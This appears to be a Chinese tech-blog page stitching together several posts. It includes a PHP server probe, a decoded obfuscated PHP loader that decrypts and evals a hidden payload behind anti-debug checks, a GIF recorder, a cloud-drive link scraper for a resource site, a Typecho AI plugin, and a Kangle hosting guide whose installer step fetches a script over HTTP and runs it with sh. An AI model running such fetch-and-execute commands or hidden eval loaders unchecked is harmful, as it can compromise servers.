萝卜PHP探针 - 轻巧好用的服务器检测工具-开源版
简单介绍单文件，不占资源功能实在，没有花哨截图<?php // index.php - PHP探针 error_reporting(0); @ini_set('display_errors', 0); // 1. 基础信息获取（完全安全） function getBasicInfo() { $info = []; // 使用安全的获取方式 $info['服务器名称'] = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : '未知'; $info['服务器软件'] = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '未知'; $info['PHP版本'] = PHP_VERSION; $info['操作系统'] = @php_uname('s') . ' ' . @php_uname('r'); $info['服务器时间'] = date('Y-m-d H:i:s'); $info['运行模式'] = PHP_SAPI; // 内存信息（安全获取） $info['内存使用'] = formatBytes(@memory_get_usage(true)); $info['内存峰值'] = formatBytes(@memory_get_peak_usage(true)); return $info; } // 2. 安全的性能测试（简化版） function getPerformance() { $results = []; // 整数运算测试 $start = microtime(true); $result = 0; $iterations = 100000; // 减少迭代次数 for ($i = 0; $i < $iterations; $i++) { $result += $i * $i; } $time_taken = max(microtime(true) - $start, 0.001); $results['整数运算'] = [ 'score' => intval($iterations / $time_taken), 'time' => round($time_taken * 1000, 2) ]; return $results; } // 3. 组件检测（安全版） function getComponents() { $components = []; // 只检测常用组件 $extensions = [ 'MySQLi' => 'mysqli', 'PDO' => 'pdo', 'PDO MySQL' => 'pdo_mysql', 'Redis' => 'redis', 'GD Library' => 'gd', 'cURL' => 'curl', 'OpenSSL' => 'openssl', 'MBString' => 'mbstring', 'JSON' => 'json', 'XML' => 'xml', 'ZIP' => 'zip', 'OPcache' => 'Zend OPcache' ]; foreach ($extensions as $name => $ext) { $components[$name] = @extension_loaded($ext); } return $components; } // 4. 磁盘信息（安全获取） function getDiskInfo() { $info = []; $path = __DIR__; $total = @disk_total_space($path); $free = @disk_free_space($path); if ($total !== false && $free !== false && $total > 0) { $used = $total - $free; $usage_percent = round(($used / $total) * 100, 1); $info['总容量'] = formatBytes($total); $info['已使用'] = formatBytes($used); $info['可用空间'] = formatBytes($free); $info['使用率'] = $usage_percent; } else { $info['总容量'] = '未知'; $info['已使用'] = '未知'; $info['可用空间'] = '未知'; $info['使用率'] = 0; } return $info; } // 5. PHP配置（安全获取） function getPHPConfig() { $config = []; $settings = [ 'memory_limit', 'max_execution_time', 'post_max_size', 'upload_max_filesize', 'max_file_uploads', 'default_charset', 'display_errors', 'error_reporting' ]; foreach ($settings as $setting) { $value = @ini_get($setting); $config[$setting] = $value !== false ? $value : '未知'; } return $config; } // 6. 安全状态 function getSecurityStatus() { $security = []; $security['错误显示'] = @ini_get('display_errors') ? '开启' : '关闭'; $security['远程文件访问'] = @ini_get('allow_url_fopen') ? '开启' : '关闭'; $security['PHP信息暴露'] = @ini_get('expose_php') ? '开启' : '关闭'; $security['目录限制'] = @ini_get('open_basedir') ? '已设置' : '未设置'; return $security; } // 7. 网络信息 function getNetworkInfo() { $network = []; $network['客户端IP'] = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '未知'; $network['请求方法'] = isset($_SERVER['REQUEST_METHOD']) ? $_SERVER['REQUEST_METHOD'] : '未知'; // 简单的响应时间测试 $start = microtime(true); $test = 0; for ($i = 0; $i < 1000; $i++) { $test += $i; } $network['响应时间'] = round((microtime(true) - $start) * 1000, 2) . ' ms'; return $network; } // 辅助函数 function formatBytes($bytes) { if (!$bytes || $bytes <= 0) return '0 B'; $units = ['B', 'KB', 'MB', 'GB', 'TB']; $bytes = max($bytes, 0); $pow = floor(($bytes ? log($bytes) : 0) / log(1024)); $pow = min($pow, count($units) - 1); $bytes /= (1 << (10 * $pow)); return round($bytes, 2) . ' ' . $units[$pow]; } function formatScore($score) { if ($score >= 1000000) { return round($score / 1000000, 1) . 'M'; } elseif ($score >= 1000) { return round($score / 1000, 1) . 'K'; } return $score; } // 获取所有数据 $server_info = getBasicInfo(); $performance = getPerformance(); $components = getComponents(); $disk_info = getDiskInfo(); $php_config = getPHPConfig(); $security = getSecurityStatus(); $network_info = getNetworkInfo(); // 计算健康度 $health_score = 85; // 默认良好 ?> 萝卜-PHP服务器探针 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 3v2m6-2v2M9 19v2m6-2v2M5 9H3m2 6H3m18-6h-2m2 6h-2M7 19h10a2 2 0 002-2V7a2 2 0 00-2-2H7a2 2 0 00-2 2v10a2 2 0 002 2zM9 9h6v6H9V9z" /> 萝卜服务器监控探针 开源产品 - 稳定运行 检测时间: 系统健康度 100% <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 12l2 2 4-4m6 2a9 9 0 11-18 0 9 9 0 0118 0z" /> 系统状态良好 服务器状态 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M5 12h14M5 12a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v4a2 2 0 01-2 2M5 12a2 2 0 00-2 2v4a2 2 0 002 2h14a2 2 0 002-2v-4a2 2 0 00-2-2m-2-4h.01M17 16h.01" /> 运行环境 性能测试 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z" /> 整数运算 磁盘使用 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M4 7v10c0 2.21 3.582 4 8 4s8-1.79 8-4V7M4 7c0 2.21 3.582 4 8 4s8-1.79 8-4M4 7c0-2.21 3.582-4 8-4s8 1.79 8 4m0 5c0 2.21-3.582 4-8 4s-8-1.79-8-4" /> 可用 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M9 3v2m6-2v2M9 19v2m6-2v2M5 9H3m2 6H3m18-6h-2m2 6h-2M7 19h10a2 2 0 002-2V7a2 2 0 00-2-2H7a2 2 0 00-2 2v10a2 2 0 002 2zM9 9h6v6H9V9z" /> 服务器信息 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 10V3L4 14h7v7l9-11h-7z" /> 性能指标 次/秒 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10.325 4.317c.426-1.756 2.924-1.756 3.35 0a1.724 1.724 0 002.573 1.066c1.543-.94 3.31.826 2.37 2.37a1.724 1.724 0 001.065 2.572c1.756.426 1.756 2.924 0 3.35a1.724 1.724 0 00-1.066 2.573c.94 1.543-.826 3.31-2.37 2.37a1.724 1.724 0 00-2.572 1.065c-.426 1.756-2.924 1.756-3.35 0a1.724 1.724 0 00-2.573-1.066c-1.543.94-3.31-.826-2.37-2.37a1.724 1.724 0 00-1.065-2.572c-1.756-.426-1.756-2.924 0-3.35a1.724 1.724 0 001.066-2.573c-.94-1.543.826-3.31 2.37-2.37.996.608 2.296.07 2.572-1.065z" /> <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M15 12a3 3 0 11-6 0 3 3 0 016 0z" /> 组件支持状态 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M10 20l4-16m4 4l4 4-4 4M6 16l-4-4 4-4" /> PHP配置信息 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M12 15v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2zm10-10V7a4 4 0 00-8 0v4h8z" /> 安全状态 <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M8.111 16.404a5.5 5.5 0 017.778 0M12 20h.01m-7.08-7.071c3.904-3.905 10.236-3.905 14.141 0M1.394 9.393c5.857-5.857 15.355-5.857 21.213 0" /> 网络信息 萝卜服务器监控探针 © <?php echo date('Y'); ?> - 开源版 稳定运行 | 全面检测 | 安全可靠
今天逛论坛发现有位坛友贴了一段加密代码。问解密难度多大。先看看源代码：<?php echo(gzinflate(base64_decode('[binary]')));这段代码使用的是一种常见的“混淆”方式;我们来分解一下eval(gzinflate(base64_decode('加密代码')));有 base64 编码再用 gzinflate 压缩最后用 eval 执行那如何解密呢？你只需要把 eval 换成 echo 然后浏览器运行跑一下就能还原出原始代码。解密后源代码：/* 加密时间: 2025-10-22 10:47:39 */ $___d41d8='';$___d41d8.=base64_decode('JF9TRVJWRVJb');$___d41d8.=base64_decode('IlJFUVVFU1Rf');$___d41d8.=base64_decode('VVJJIl0=');if(isset($___d41d8) && strpos($_SERVER["REQUEST_URI"], base64_decode('eGRlYnVn')) !== false) exit(base64_decode('5o6l5Y+35qC35LiO77yB')); $___ebd91=base64_decode('cnVua2l0X2Z1bmN0aW9uX3JlZGVmaW5l');if(function_exists($___ebd91)) exit(base64_decode('5o6l5Y+35qC35LiO77yB')); $__funcs=array ( '__full_file__' => '[binary]:4db0b902cec38d5cf0f3d979f5f5c2f0', ); $__salts=array ( '__full_file__' => 'ce390a4e1dfc67b3', ); $__hmacs=array ( '__full_file__' => 'b1415fc56f594e4469d7a47a960e1ba0aa7c900cb8f73bf701449374f827382e', ); $__signatures=array ( '__full_file__' => 'e6e2be52022af457d6476915e7ebb1fa3e493a531b47738b6be2200ebdae84a7ed2605a60b99c6ee70271400c5dd2d4484f80e29e84ad5f87eeddafa0ff19100', ); $__randData=array ( '278edf6f' => 'b665a43e', 'de80dcf3' => 'f3dbc6d2ad84aa', 'bed840e8' => 'NDExMGIxZTQyZTQ4ZWU3ZmM2YjE=', '4a1fe109' => '0c0b92fc8da7a4', '40d454dd' => '5045e44f273606e5', 'fc139939' => '5fe9a6b5', '5b01761d' => 'qs8o2s9sr132172nn5or', 'f373a44b' => 'f0fbca37cdd4', '6f60a960' => 'fe6659baba', 'a8e430f6' => 'n8p98s34q27n5qq14546667r', ); $__keyMap=array ( 0 => 'bed840e8', 1 => '5b01761d', 2 => 'a8e430f6', ); $__segmentCompressMethods=array ( '__full_file__' => 'gzip', ); // 增强的安全密钥处理 $__mk_part1 = strrev(base64_decode($__randData[$__keyMap[0]])); $__mk_part2 = str_rot13($__randData[$__keyMap[1]]); $__mk_part3 = str_rot13($__randData[$__keyMap[2]]); $__masterKey = $__mk_part1 . $__mk_part2 . $__mk_part3; unset($__mk_part1, $__mk_part2, $__mk_part3); $__cache=[]; function f515f13ccdddd7066($n){ global $__funcs, $__salts, $__hmacs, $__signatures, $__masterKey, $__cache, $__segmentCompressMethods; if(isset($__cache[$n])) return; if(!isset($__funcs[$n])) throw new Exception(base64_decode('RnVuY3Rpb24gbm90IGZvdW5kOiB7JG59')); $key = hash_hmac('sha256', $__salts[$n], $__masterKey); list($cb64, $iv) = explode(':', $__funcs[$n]); $cc = base64_decode($cb64, true); if($cc === false) throw new Exception(base64_decode('QmFzZTY057yW56iL5a2X56ym5Liy')); $ivv = hex2bin($iv); if($ivv === false) throw new Exception(base64_decode('SVbil6jmiKvlpKflkI0=')); $dd = openssl_decrypt($cc, 'AES-256-CBC', $key, OPENSSL_RAW_DATA, $ivv); if($dd === false) throw new Exception(base64_decode('QUVT57yW56iL5a2X6YOo5pyJ')); $compressMethod = isset($__segmentCompressMethods[$n]) ? $__segmentCompressMethods[$n] : 'gzip'; if($compressMethod === 'zstd' && function_exists('zstd_uncompress')) { $phpCode = zstd_uncompress($dd); } else { $phpCode = gzinflate($dd); } if($phpCode === false) throw new Exception(base64_decode('5byg5bCP5LmL')); if(hash_hmac('sha512', $phpCode, $__masterKey) !== $__signatures[$n]) { throw new Exception(base64_decode('6Z2e57uE6K6+56iL5L2V5LyB5Lia5L2g5rO9')); // 签名校验失败 } if(hash_hmac('sha256', $phpCode, $__masterKey) !== $__hmacs[$n]) exit(base64_decode('Q29kZSBmb3IgeyRufSBoYXMgYmVlbiB0YW1wZXJlZCE=')); eval("?>" . $phpCode); unset($__masterKey, $phpCode); gc_collect_cycles(); static $exec_cache = []; if(!isset($exec_cache[$n])) $exec_cache[$n] = true; $__cache[$n] = true; register_shutdown_function(function() use ($n) { if ($n !== '__full_file__') { exit(base64_decode('5bCP546L5Y2K5YWl77yB')); } }); } f515f13ccdddd7066('__full_file__');
区域选择录制：支持全屏或自定义区域录制实时预览：选择区域后可立即预览参数自定义：可调节FPS、录制时长友好界面：直观的GUI操作界面安装依赖库pip install pillow pyautogui pyinstaller核心源码import tkinter as tk from tkinter import ttk, filedialog, messagebox import pyautogui from PIL import Image, ImageTk, ImageGrab import threading import time import os class GIFRecorderWithRegion: def __init__(self, root): self.root = root self.root.title("GIF录制工具 - 带区域选择") self.root.geometry("500x400") self.recording = False self.selecting_region = False self.frames = [] self.output_path = "favicon.ico" self.region = None # (x1, y1, x2, y2) self.setup_ui() def setup_ui(self): """设置用户界面""" # 输出路径选择 path_frame = ttk.Frame(self.root) path_frame.pack(pady=10, padx=20, fill="x") ttk.Label(path_frame, text="输出路径:").pack(side="left") self.path_var = tk.StringVar(value=self.output_path) ttk.Entry(path_frame, textvariable=self.path_var, width=30).pack(side="left", padx=5) ttk.Button(path_frame, text="浏览", command=self.browse_path).pack(side="left") # 区域选择 region_frame = ttk.LabelFrame(self.root, text="录制区域/////LB5.NET-小野博客//////", padding=10) region_frame.pack(pady=10, padx=20, fill="x") self.region_var = tk.StringVar(value="全屏") ttk.Radiobutton(region_frame, text="全屏", variable=self.region_var, value="全屏", command=self.update_region_display).pack(anchor="w") ttk.Radiobutton(region_frame, text="自定义区域", variable=self.region_var, value="自定义区域", command=self.update_region_display).pack(anchor="w") # 区域坐标显示和选择 coord_frame = ttk.Frame(region_frame) coord_frame.pack(fill="x", pady=5) ttk.Label(coord_frame, text="区域坐标:").pack(side="left") self.coord_var = tk.StringVar(value="未选择") ttk.Label(coord_frame, textvariable=self.coord_var, foreground="green").pack(side="left", padx=5) ttk.Button(coord_frame, text="选择区域", command=self.start_region_selection).pack(side="left", padx=10) # 参数设置 param_frame = ttk.LabelFrame(self.root, text="录制参数", padding=10) param_frame.pack(pady=10, padx=20, fill="x") ttk.Label(param_frame, text="FPS:").grid(row=0, column=0, sticky="w") self.fps_var = tk.StringVar(value="10") ttk.Spinbox(param_frame, from_=1, to=30, textvariable=self.fps_var, width=10).grid(row=0, column=1, padx=5) ttk.Label(param_frame, text="时长(秒):").grid(row=1, column=0, sticky="w", pady=5) self.duration_var = tk.StringVar(value="10") ttk.Spinbox(param_frame, from_=1, to=60, textvariable=self.duration_var, width=10).grid(row=1, column=1, padx=5) # 控制按钮 btn_frame = ttk.Frame(self.root) btn_frame.pack(pady=20) self.record_btn = ttk.Button(btn_frame, text="开始录制", command=self.toggle_recording, width=15) self.record_btn.pack(pady=5) # 状态显示 self.status_var = tk.StringVar(value="准备就绪") status_label = ttk.Label(self.root, textvariable=self.status_var, foreground="blue") status_label.pack(pady=10) # 预览区域 preview_frame = ttk.LabelFrame(self.root, text="区域预览", padding=5) preview_frame.pack(pady=10, padx=20, fill="both", expand=True) self.preview_label = ttk.Label(preview_frame, text="区域预览将显示在这里") self.preview_label.pack(expand=True) def browse_path(self): """选择输出路径""" path = filedialog.asksaveasfilename( defaultextension=".gif", filetypes=[("GIF文件", "*.gif"), ("所有文件", "*.*")] ) if path: self.path_var.set(path) def update_region_display(self): """更新区域显示""" if self.region_var.get() == "全屏": self.coord_var.set("全屏") self.update_preview() elif self.region and self.region_var.get() == "自定义区域": x1, y1, x2, y2 = self.region self.coord_var.set(f"({x1}, {y1}) - ({x2}, {y2})") self.update_preview() def start_region_selection(self): """开始区域选择""" self.status_var.set("请选择录制区域...") self.root.withdraw() # 隐藏主窗口 # 创建区域选择窗口 self.region_selector = RegionSelector(self.root, self.region_selected) def region_selected(self, region): """区域选择回调""" self.region = region self.region_var.set("自定义区域") self.root.deiconify() # 重新显示主窗口 self.update_region_display() self.status_var.set("区域选择完成") def update_preview(self): """更新区域预览""" try: if self.region_var.get() == "全屏": # 全屏预览 - 缩小显示 screenshot = pyautogui.screenshot() preview_size = (300, 200) screenshot.thumbnail(preview_size, Image.Resampling.LANCZOS) photo = ImageTk.PhotoImage(screenshot) self.preview_label.config(image=photo) self.preview_label.image = photo elif self.region and self.region_var.get() == "自定义区域": # 自定义区域预览 x1, y1, x2, y2 = self.region region_screenshot = pyautogui.screenshot(region=(x1, y1, x2-x1, y2-y1)) preview_size = (300, 200) region_screenshot.thumbnail(preview_size, Image.Resampling.LANCZOS) photo = ImageTk.PhotoImage(region_screenshot) self.preview_label.config(image=photo) self.preview_label.image = photo except Exception as e: self.preview_label.config(text=f"预览更新失败: {str(e)}") def toggle_recording(self): """开始/停止录制""" if not self.recording: self.start_recording() else: self.stop_recording() def start_recording(self): """开始录制""" self.output_path = self.path_var.get() fps = int(self.fps_var.get()) duration = int(self.duration_var.get()) if not self.output_path: messagebox.showerror("错误", "请选择输出路径") return self.recording = True self.frames = [] self.record_btn.config(text="停止录制") self.status_var.set("录制中...") # 在新线程中录制 self.record_thread = threading.Thread( target=self.record_screen, args=(fps, duration) ) self.record_thread.daemon = True self.record_thread.start() def stop_recording(self): """停止录制""" self.recording = False self.record_btn.config(text="开始录制") self.status_var.set("正在保存GIF...") def record_screen(self, fps, duration): """录制屏幕""" start_time = time.time() interval = 1.0 / fps while self.recording and (time.time() - start_time) < duration: frame_start = time.time() try: # 根据选择的区域截屏 if self.region_var.get() == "全屏": screenshot = pyautogui.screenshot() else: if self.region: x1, y1, x2, y2 = self.region screenshot = pyautogui.screenshot(region=(x1, y1, x2-x1, y2-y1)) else: screenshot = pyautogui.screenshot() self.frames.append(screenshot) # 更新状态 elapsed = time.time() - start_time remaining = duration - elapsed self.status_var.set(f"录制中... 剩余时间: {remaining:.1f}秒") except Exception as e: print(f"截图失败: {e}") # 控制帧率 elapsed_frame = time.time() - frame_start sleep_time = interval - elapsed_frame if sleep_time > 0: time.sleep(sleep_time) # 保存GIF if self.frames: self.save_gif() def save_gif(self): """保存GIF文件""" try: if self.frames: self.frames[0].save( self.output_path, save_all=True, append_images=self.frames[1:], duration=1000//int(self.fps_var.get()), loop=0, optimize=True ) self.status_var.set(f"GIF已保存: {self.output_path}") messagebox.showinfo("成功", f"GIF已保存到:\n{self.output_path}\n共{len(self.frames)}帧") else: self.status_var.set("没有录制到帧") messagebox.showwarning("警告", "没有录制到任何帧") except Exception as e: self.status_var.set("保存失败") messagebox.showerror("错误", f"保存失败: {str(e)}") class RegionSelector: """区域选择器""" def __init__(self, parent, callback): self.parent = parent self.callback = callback self.start_x = None self.start_y = None self.current_x = None self.current_y = None self.region = None # 创建全屏透明窗口 self.selector = tk.Toplevel(parent) self.selector.attributes('-fullscreen', True) self.selector.attributes('-alpha', 0.3) self.selector.configure(bg='black') self.selector.attributes('-topmost', True) # 创建画布用于绘制选择框 self.canvas = tk.Canvas(self.selector, highlightthickness=0) self.canvas.pack(fill=tk.BOTH, expand=True) # 绑定事件 self.canvas.bind('<Button-1>', self.on_button_press) self.canvas.bind('<B1-Motion>', self.on_mouse_drag) self.canvas.bind('<ButtonRelease-1>', self.on_button_release) self.selector.bind('<Escape>', self.cancel_selection) self.selector.focus_set() def on_button_press(self, event): """鼠标按下""" self.start_x = event.x self.start_y = event.y self.rect = self.canvas.create_rectangle( self.start_x, self.start_y, self.start_x, self.start_y, outline='red', width=2, fill='blue', stipple='gray50' ) def on_mouse_drag(self, event): """鼠标拖动""" self.current_x = event.x self.current_y = event.y self.canvas.coords(self.rect, self.start_x, self.start_y, self.current_x, self.current_y) def on_button_release(self, event): """鼠标释放""" self.current_x = event.x self.current_y = event.y # 确保坐标正确（左上角到右下角） x1 = min(self.start_x, self.current_x) y1 = min(self.start_y, self.current_y) x2 = max(self.start_x, self.current_x) y2 = max(self.start_y, self.current_y) # 如果区域太小，认为是取消 if abs(x2 - x1) < 10 or abs(y2 - y1) < 10: self.cancel_selection() return self.region = (x1, y1, x2, y2) self.selector.destroy() self.callback(self.region) def cancel_selection(self, event=None): """取消选择""" self.selector.destroy() self.callback(None) class AdvancedGIFRecorder(GIFRecorderWithRegion): def __init__(self, root): super().__init__(root) self.root.title("GIF录制截图") # 添加更多功能按钮 advanced_frame = ttk.Frame(self.root) advanced_frame.pack(pady=5) ttk.Button(advanced_frame, text="测试区域", command=self.test_region).pack(side="left", padx=5) ttk.Button(advanced_frame, text="清除区域", command=self.clear_region).pack(side="left", padx=5) def test_region(self): """测试选择的区域""" if self.region and self.region_var.get() == "自定义区域": try: x1, y1, x2, y2 = self.region # 短暂显示区域边框 test_window = tk.Toplevel(self.root) test_window.attributes('-topmost', True) test_window.geometry(f"{x2-x1}x{y2-y1}+{x1}+{y1}") test_window.overrideredirect(True) test_window.configure(bg='red', highlightthickness=2, highlightbackground='yellow') # 3秒后自动关闭 test_window.after(3000, test_window.destroy) except Exception as e: messagebox.showerror("错误", f"测试失败: {str(e)}") else: messagebox.showinfo("提示", "请先选择自定义区域") def clear_region(self): """清除区域选择""" self.region = None self.region_var.set("全屏") self.update_region_display() self.status_var.set("区域已清除") if __name__ == "__main__": root = tk.Tk() app = AdvancedGIFRecorder(root) root.mainloop()
想一次性把 YYDS 源码网 1-200 页的网盘资源全部扒下来？今天分享 30 行 Python 脚本，无需配置环境，双击即可运行，自动提取标题+真实外链，支持 7 大网盘，完全开源！1. 脚本功能顺序抓取 1-200 页文章列表进入详情页提取「侧边栏按钮 + 正文」网盘链接自动跟随 goto?down=xxx 跳转，拿到真实外链支持蓝奏云 / 百度 / 夸克 / 123 / 阿里 / 迅雷 / 腾讯保存格式：标题 | 网盘链接（txt 可直接复制）2. 运行环境项目版本Python3.7+依赖requests、beautifulsoup4一键安装：pip install requests beautifulsoup4 #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ 抓取 www.yydsym.com 保存格式：标题 | 网盘链接 输出文件：桌面 title_pan_links.txt """ import os import time import random import requests from bs4 import BeautifulSoup from urllib.parse import urljoin MAX_PAGE = 100 SLEEP = lambda: random.uniform(1.0, 2.0) TIMEOUT = 10 LIST_URL = "https://www.yydsym.com/page/{}" SAVE_FILE = os.path.join(os.path.expanduser("~"), "Desktop", "title_pan_links.txt") HEADERS = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 " "(KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" } PAN_KEYS = ("lanzou", "lanzn", "pan.baidu", "quark.cn", "123pan.com", "alipan.com", "xunlei.com", "cloud.189.cn", "tc.qq.com") def get_list(page): url = LIST_URL.format(page) resp = requests.get(url, headers=HEADERS, timeout=TIMEOUT) resp.raise_for_status() soup = BeautifulSoup(resp.text, "html.parser") items = [] for art in soup.select('article.post-grid'): a = art.select_one('h2.entry-title a') if not a: continue title = a.get_text(strip=True) link = urljoin(url, a["href"]) items.append((title, link)) return items def extract_pan(html): soup = BeautifulSoup(html, "html.parser") pans = set() for a in soup.select('a[href*="goto?down="]'): short = urljoin("https://www.yydsym.com", a["href"]) try: r = requests.get(short, headers=HEADERS, allow_redirects=False, timeout=10) real = r.headers.get("Location", "") if r.status_code in (301, 302) else short pans.add(real) except Exception: continue for a in soup.find_all("a", href=True): href = a["href"].strip() if any(k in href for k in PAN_KEYS): pans.add(href) return pans def main(): exist = set() if os.path.isfile(SAVE_FILE): with open(SAVE_FILE, "r", encoding="utf-8") as f: for line in f: if "|" in line: exist.add(line.split("|", 1)[1].strip()) print("🔍 开始抓取列表页...") for p in range(1, MAX_PAGE + 1): try: items = get_list(p) print(f" 第 {p:3d} 页 | 本页 {len(items):2d} 篇") except Exception as e: print(f" 第 {p:3d} 页 | 错误：{e}") continue time.sleep(SLEEP()) print(" 扫描详情页...") for title, url in items: try: html = requests.get(url, headers=HEADERS, timeout=TIMEOUT).text pans = extract_pan(html) new = 0 for u in pans: if u in exist: continue new += 1 with open(SAVE_FILE, "a", encoding="utf-8") as f: f.write(f"{title} | {u}\n") exist.add(u) if new: print(f" +{new} 条 | {title[:30]}...") except Exception as e: print(f" 跳过 | {e}") time.sleep(SLEEP()) print(f"\n✅ 全部完成！文件已保存 → {SAVE_FILE}") if __name__ == "__main__": main()
插件概述本插件为Typecho博客系统提供了一个强大的AI写作助手功能，通过对接DeepSeek API实现智能文章生成功能。插件在文章编辑页面底部添加AI写作面板，用户只需输入关键词和具体要求，即可快速生成高质量的文章内容。主要功能​AI文章生成​：基于DeepSeek API，根据关键词和要求生成文章内容​模型选择​：支持deepseek-chat（通用写作）和deepseek-coder（技术文章）两种模型​原创性调节​：通过原创性参数（0.1-1.0）控制生成内容的创造性​一键复制​：将生成的内容快速复制到剪贴板​简洁界面​：直观的用户界面，操作简单便捷安装步骤下载插件文件并解压将插件文件夹重命名为 AIDeepSeek上传到Typecho的插件目录 /usr/plugins/登录Typecho后台，进入"控制台" → "插件"找到"AIDeepSeek"插件并启用在插件设置中配置DeepSeek API密钥​ 配置插件​进入插件设置页面填写从DeepSeek官网获取的API密钥选择适合的模型（通用写作或技术文章）设置原创性参数（推荐值0.7）​ 使用AI写作​创建或编辑文章时，滚动到编辑器底部点击"使用AI写作"按钮展开AI面板在"文章主题/关键词"输入框中填写关键词（必填）在"具体要求"文本框中填写具体要求（可选）点击"生成文章内容"按钮获取AI创作使用"复制到剪贴板"按钮将结果插入编辑器注意事项​API密钥​：必须配置有效的DeepSeek API密钥才能使用​关键词要求​：至少需要输入一个关键词才能生成内容​生成时间​：根据内容长度可能需要10-30秒​内容质量​：生成内容的质量取决于关键词和要求的明确程度​原创性参数​：值越高生成内容越有创意，但也可能偏离主题常见问题Q1: 生成失败怎么办？检查API密钥是否正确确保网络连接正常尝试减少关键词数量或简化要求下载地址：{cat_download name="【Github仓库】AI自动生成文章插件" url="https://github.com/qqxt/AIDeepSeek" password=""}{cat_download name="【蓝奏云】AI自动生成文章插件" url="https://saonai.lanzouu.com/iFrpZ2xwamid" password=""}
安装vhms这个vhms是一个开源项目，目前只能在GitHub上面下到。整个下载来后，可以通过SFTP软件(推荐FinalShell)，把解压出来的文件上传到这个路径：/vhs/kangle/www这个文件夹下，并且把原来的index.html给删除或者改个名字（比如index2.html这种）。数据库配置登录 phpMyAdmin打开浏览器，访问http://IP:3313/mysql登录 phpMyAdmin。创建新数据库在 phpMyAdmin 中，按照以下配置创建一个新数据库： 2.1 数据库名称：vhms_db（可根据需要自行命名） 2.2 字符集：utf8mb4 2.3 整理方式：utf8mb4_general_ci安装与测试开始安装在浏览器中访问http://IP:3313/install，按照提示完成 VHMS 的安装过程，确保输入正确的数据库信息。测试运行安装完成后，登录 VHMS 控制面板，测试各项功能是否正常。可以看到vhms贴心的告诉了我们如果要开始卖主机有哪两步要干。那我们就根据提示操作。添加一个主机：这里的安全码就是我们在EasyPanel管理面板里设置的安全码，如果不填这个安全码的话那么后面想要添加产品就会报错。接下来就是添加产品了，也可以根据提示新建一个产品分组，在同一分组内的产品是可以无缝升级的：像我这样随便填一填，然后打开http://IP就可以看到添加的产品啦。找不到好的模板，有兴趣可以上网去自己找一找，然后上传到/vhs/kangle/www/user/view这个文件夹里。同时在“功能设置”的上方还有“网上支付设置”，可以在这里配置一下支付宝。至此我们的小作坊主机就开设成功啦。
零基础搭建小作坊云服务商：Kangle、EasyPanel 与 VHMS 手把手教程！
揭开小作坊云服务商的面纱：从 Kangle 到 EasyPanel在互联网浪潮中，小作坊服务商如雨后春笋般涌现，而他们背后的关键角色之一，无疑是 EasyPanel (EP)。这种面板广为人知，甚至直接被用来称呼其搭载的主机，比如“EP主机”。但你可能不知道，EasyPanel 实际上是 Kangle Web Server 的一个重要组成部分。什么是 Kangle？Kangle 是一款国产的高并发服务器，专为虚拟主机量身打造。它凭借出色的性能和高效的资源管理，成为许多小作坊服务商的不二之选。不过，今天我们要聊的不止是它的功能，更是一场关于安装的实战之旅。[注意] 一个不得不提的现状Kangle 背后的公司已经停摆，官网也不再运营。这意味着我们无法从官方渠道下载软件，安装过程充满了未知与挑战。但别担心，我已为你铺平道路，整理出一份详尽的安装指南，助你避开那些“坑”。安装 Kangle：手把手教你搭建自己的云服务平台接下来的内容，将带你一步步走进 Kangle 的世界，从环境搭建到系统优化，从基础配置到高级功能，我将为你揭开它的神秘面纱。无论你是初学者还是老司机，这里都有你需要的干货。安装 Kangle + EasyPanel 与测试使用“彩虹 Kangle 一键脚本”安装为了方便搭建 Kangle + EasyPanel 环境，我们推荐使用“彩虹 Kangle 一键脚本”进行安装。请注意，该脚本主要支持 CentOS 系统，同时兼容其他基于 yum 软件包管理器的 Linux 发行版。如果你的系统是 Ubuntu（基于 apt 软件包管理器），那么很遗憾，这个脚本并不适合你。安装步骤复制以下命令并运行：yum -y install wget;wget http://kangle.cccyun.cn/start;sh start如果一切正常，提示、初始登录信息,恭喜你！你已经成功安装并运行了 Kangle + EasyPanel。要是你用的CentOS7系统，安装的时候提示各种源报错，请看这篇文章【解决CentOS7停止更新支持后yum源失效】后期你想换个模板。重启面板，直接输入“kanglesh”就可以启动脚本。可以看到这样的界面：面板安装顺序，参考截图内容：安装好了会提示你你的密码和面板地址。千万别忘了保存！！！默认的管理员账户是admin，密码是kangle。管理面板在http://IP:3312/admin/。数据库账户是root，密码就是刚才随机设置的密码。登录管理员控制面板，可以看到下面的界面：（管理员面板和独立面板都叫EasyPanel）这里需要填写几个信息：1. 你的数据库账号密码。（后面有个是否删除test数据库，这个可以随意。） 2. 安全码，后续对接vhms要用。(要保存好) 然后点击下方的“确认提交”，提示需要初始化服务器，点击前往初始化。由于是第一次初始化，因此还需要勾选第一项“初始化磁盘配额”。初始化完成后，就可以前往“新增网站”添加网站或者“产品列表”添加产品了。至于这里的配置自己随便写一点就行，比如像下图的配置：默认首页(多个由,分开):{cat_highlight color="yellow" text="index.html,index.php,default.html,default.php"}然后就可以去产品列表看到新增的产品，新建网站后，点击名字进去，看到的面板就是文章开头那样式的，要是觉得不好看，没有关系，这个时候我们打开刚刚安装脚本，选择4 